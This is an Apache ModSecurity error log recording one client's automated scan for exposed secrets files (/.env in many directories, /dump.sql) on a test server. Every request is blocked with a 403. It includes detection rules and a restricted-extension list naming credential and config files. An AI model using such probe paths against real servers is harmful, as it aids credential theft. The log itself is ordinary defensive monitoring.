[Wed Feb 25 06:05:02.732380 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTAAAAAQ&quot;]
[Wed Feb 25 06:05:02.732676 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTAAAAAQ&quot;]
[Wed Feb 25 06:05:02.732858 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTAAAAAQ&quot;]
[Wed Feb 25 06:05:02.775000 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dodoswap-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTQAAAAQ&quot;]
[Wed Feb 25 06:05:02.775262 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTQAAAAQ&quot;]
[Wed Feb 25 06:05:02.775415 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTQAAAAQ&quot;]
[Wed Feb 25 06:05:02.814891 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW3gAAAAI&quot;]
[Wed Feb 25 06:05:02.815162 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW3gAAAAI&quot;]
[Wed Feb 25 06:05:02.815347 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW3gAAAAI&quot;]
[Wed Feb 25 06:05:02.825760 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dotfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTgAAAAQ&quot;]
[Wed Feb 25 06:05:02.826043 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTgAAAAQ&quot;]
[Wed Feb 25 06:05:02.826208 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTgAAAAQ&quot;]
[Wed Feb 25 06:05:02.841827 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW3wAAAAI&quot;]
[Wed Feb 25 06:05:02.842137 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW3wAAAAI&quot;]
[Wed Feb 25 06:05:02.842406 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW3wAAAAI&quot;]
[Wed Feb 25 06:05:02.851504 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /download/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTwAAAAQ&quot;]
[Wed Feb 25 06:05:02.851761 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTwAAAAQ&quot;]
[Wed Feb 25 06:05:02.851935 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXTwAAAAQ&quot;]
[Wed Feb 25 06:05:02.903841 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW4AAAAAI&quot;]
[Wed Feb 25 06:05:02.904151 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW4AAAAAI&quot;]
[Wed Feb 25 06:05:02.904372 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW4AAAAAI&quot;]
[Wed Feb 25 06:05:02.974140 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /downloads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXUAAAAAQ&quot;]
[Wed Feb 25 06:05:02.974543 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXUAAAAAQ&quot;]
[Wed Feb 25 06:05:02.974741 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXUAAAAAQ&quot;]
[Wed Feb 25 06:05:03.002421 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXUQAAAAQ&quot;]
[Wed Feb 25 06:05:03.002747 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXUQAAAAQ&quot;]
[Wed Feb 25 06:05:03.002932 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXUQAAAAQ&quot;]
[Wed Feb 25 06:05:03.072192 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXUgAAAAQ&quot;]
[Wed Feb 25 06:05:03.072788 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXUgAAAAQ&quot;]
[Wed Feb 25 06:05:03.072967 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXUgAAAAQ&quot;]
[Wed Feb 25 06:05:03.106038 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /e2e/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXUwAAAAQ&quot;]
[Wed Feb 25 06:05:03.106319 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXUwAAAAQ&quot;]
